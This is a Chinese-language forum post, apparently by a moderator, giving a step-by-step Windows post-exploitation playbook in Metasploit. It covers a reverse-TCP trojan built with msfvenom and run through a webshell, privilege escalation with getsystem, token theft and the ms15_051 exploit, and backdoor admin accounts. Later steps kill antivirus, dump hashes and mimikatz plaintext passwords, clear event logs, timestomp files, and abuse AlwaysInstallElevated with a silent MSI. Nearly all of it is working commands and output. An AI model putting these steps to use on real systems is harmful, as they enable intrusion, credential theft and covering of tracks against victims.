taibeihacker
Moderator
0x01 Meterpreter自动提权
1.生成后门程序
我們在kali的命令行下直接執行以下命令獲得一個針對windows的反彈型木馬:msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe這裡我們為生成的木馬指定了payload為:
windows/meterpreter/reverse_tcp,反彈到的監聽端地址為172.16.11.2,監聽端口為4444,文件輸出格式為exe並保存到路徑/tmp/hack.exe
2.执行监听
useexploit/multi/handler
set payload
windows/meterpreter/reverse_tcp
set LHOST
172.16.11.2
show options

3.上传并执行木马
通過腳本木馬上傳並運行,此處假設我們通過一系列的滲透測試得到了目標機器的webshell。我們通過腳本木馬的文件管理功能把我們上述生成的木馬hack.exe上傳成功,並且我們得知,該程序的絕對路徑為:c:\www\hack.exe接著,我們嘗試通過腳本木馬的命令執行功能運行我們上述上傳的的木馬,
c://www//hack.exe/為避免字符轉義,路徑這裡我們使用的是//


4.
Meterpreter基礎提權Meterpreter是
Metasploit 框架中的一個殺手鐧,通常作為漏洞溢出後的攻擊在和使用, 攻擊在和在出發漏洞後能夠返回給我們一個控制通道.接下來我們使用Meterpreter會話進行自動化提權操作,直接執行以下命令,MSF會自動選擇合適的方式來提升當前權限:
getsystem


steal_token 2584

getuid看一下會發現當前已經冒稱SYSTEM用戶成功:

2008 中,如果getsystem命令和hashdump命令拋出異常情況時,你需要遷移到一個以SYSTEM系統權限運行的進程中,我們後續介紹。執行以下shell命令在一個Meterpreter會話界面中使用cmd shell:

net user test
v5est0r /add
net localgroup administrators test /add

run getgui -e

rdesktop -u
test -p v5est0r 172.16.12.2-u:制定用戶名-p:指定密碼

0x02
溢出漏洞模塊提權
一般來說webshell對應的web服務的權限是很低的,一般都是user權限的,但也遇到過某些服務器執行後就直接是system最高權限。像這種情況一般直接加用戶。如果權限較低,我們要把它提升到system權- Windows最高權限,黑客一般通過提權的EXP程序進行提權,我們會在後續的實驗裡介紹。當然,在MSF下調用溢出漏洞模塊提權也是個好辦法。緩衝區溢出:緩衝區是用戶為程序運行時在計算機中申請的一段連續的內存,它保存了給定類型的數據。緩衝區溢出指的是一種常見且危害很大的系統攻擊手段,通過向程序的緩衝區寫入超出其長度的內容,造成緩衝區的溢出,從而破壞程序的堆棧,使程序轉而執行其他的指令,以達到攻擊的目的。更為嚴重的是,緩衝區溢出攻擊佔了遠程網絡攻擊的絕大多數,這種攻擊可以使得一個匿名的Internet用戶有機會獲得一台主機的部分或全部的控制權!由於這類攻擊使任何人都有可能取得主機的控制權,所以它代表了一類極其嚴重的安全威脅。
1.
調用漏洞模塊首先,請參照上述Meterpreter自動提權部分的實驗內容獲得目標機器的一個可用的Meterpreter會話,接著我們在Meterpreter會話輸入以下命令:
background
//把你當前的Meterpreter會話轉為後台執行。接著我們在MSF命令行執行以下命令搜索微軟2015年的可用漏洞模塊:
search
ms15 //搜索關鍵字相關的漏洞如下圖,我們查到了許多漏洞模塊:

use
exploit/windows/local/ms15_051_client_copy_image然後我們需要為此活動模塊指定為哪個session進行提權操作,我們執行以下命令指定服務session為1:
setSESSION
1 //設置會剛才我們後門連接的ID號1,我們這裡只有一個會話,直接連接1

2.
執行溢出接著我們直接執行以下命令調用漏洞模塊進行提權操作:
exploit

sessions
-i 1執行ps一下查看進程

migrate
3240


0x03
後續提權操作1.
基本信息蒐集檢測目標機是否為虛擬機。在Meterpreter會話執行以下命令即可:
run
post/windows/gather/checkvm #是否虛擬機,此處判斷並不准確,模塊代碼仍需完善通過meterpreter的killav腳本來殺死目標主機運行的殺毒軟件,在Meterpreter會話執行以下命令即可:
run killav

run post/windows/gather/enum_applications #獲取安裝軟件信息

run post/windows/gather/dumplinks #獲取最近的文件操作
2.
hash與明文密碼讀取獲取目標機系統用戶Hash,在Meterpreter會話執行以下命令即可:
run post/windows/gather/smart_hashdump
Running module against TESTINGHashes will be
saved to the database if one is connected.Hashes will be saved in loot in
JtR password file format
to:/home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txtDumping
password hashes.Running as SYSTEM extracting hashes from registry
Obtaining the boot key. Calculating
the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239.
Obtaining the user list and keys.
Decrypting user keys. Dumping
password hints.
[+] Croxy:'Whoareyou'
Dumping password hashes.
[+]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:
[+]
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:
[+]
test:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:如上我們獲得了本地賬戶的hask,獲取明文密碼,我們需要先載入mimikatz模塊,在Meterpreter會話執行以下命令即可:
load mimikatz然後需要確保當前進程為系統權限,直接執行以下命令:
msv

[+] Running as SYSTEMRetrieving msv credentials上述返回信息表明當前進程是`SYSTEM`權限.然後執行以下命令即可導出系統用戶明文密碼:
kerberos如下圖,成功導出了明文密碼,test用戶密文為v5est0r:

meterpreter mimikatz_command -f
samdump:hashes

mimikatz_command -f sekurlsa:searchPasswords

3.
清理痕跡直接執行以下命令:
clearev可以看到如下返回:
meterpreter clearev

meterpreter timestomp c:\\www -c
'09/09/1980 12:12:34' 修改文件創建時間
meterpreter timestomp c:\\jzking121.txt -m '01/01/1991
12:12:34'修改文件修改時間
meterpreter timestomp c:\\jzking121.txt -f c:\\RHDSetup.log 講文件RHDSetup.log屬性複製到jzking121實際測試使用偶爾有報錯,可以登入服務器手工改文件時間。
0x04
AlwaysInstallElevated提權
1.生成MSI安装文件
假設我們拿到Meterpreter會話後並沒能通過一些常規方式取得SYSTEM權限,AlwaysInstallElevated提權可能會為我們帶來一點希望。AlwaysInstallElevated是微軟允許非授權用戶以SYSTEM權限運行安裝文件(MSI)的一種設置。然而,給予用於這種權利會存在一定的安全隱患,因為如果這樣做下面兩個註冊表的值會被置為'1':
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
'AlwaysInstallElevated'=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
'AlwaysInstallElevated'=dword:00000001想查詢這兩個鍵值最簡單的方法就是使用CMD命令,我們先在Meterpreter會話下執行shell切換`cmdshell:在cmdshell下分別執行以下命令可以查詢上述的註冊表鍵值:
reg
query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated

specified registry key or value或者:錯誤: 系統找不到指定的註冊表項或值。這可能是組策略裡AlwaysInstallElevated沒有被定義,因此不存在相關聯的註冊表項。現在我們假設AlwaysInstallElevated已經啟用了,我們可以利用msfvenom工具來生成一個在目標機器上增加管理員用戶的MSI安裝文件:
msfvenom
-p windows/adduser USER=msi PASS=P@ssword123! -f msi -o /tmp/add.msi
//此處指定了添加的用戶,用戶名為msi,密碼為:P@ssword123!

2.执行MSI文件提权
接著我們把該安裝文件上傳到目標機的c:\\add.msi:執行以下命令即可:upload
/tmp/add.msi c:\\add.msi

shell
msiexec /quiet /qn /i c:\add.msi

msiexec相關參數解釋如下:
/quiet:安裝過程中禁止向用戶發送消息
/qn:不使用GUI
/i:安裝程序執行後,我們可以在目標機器上檢測我們新創建的管理員用戶,cmdshell下執行以下命令查看管理組用戶列表:
net
localgroup administrators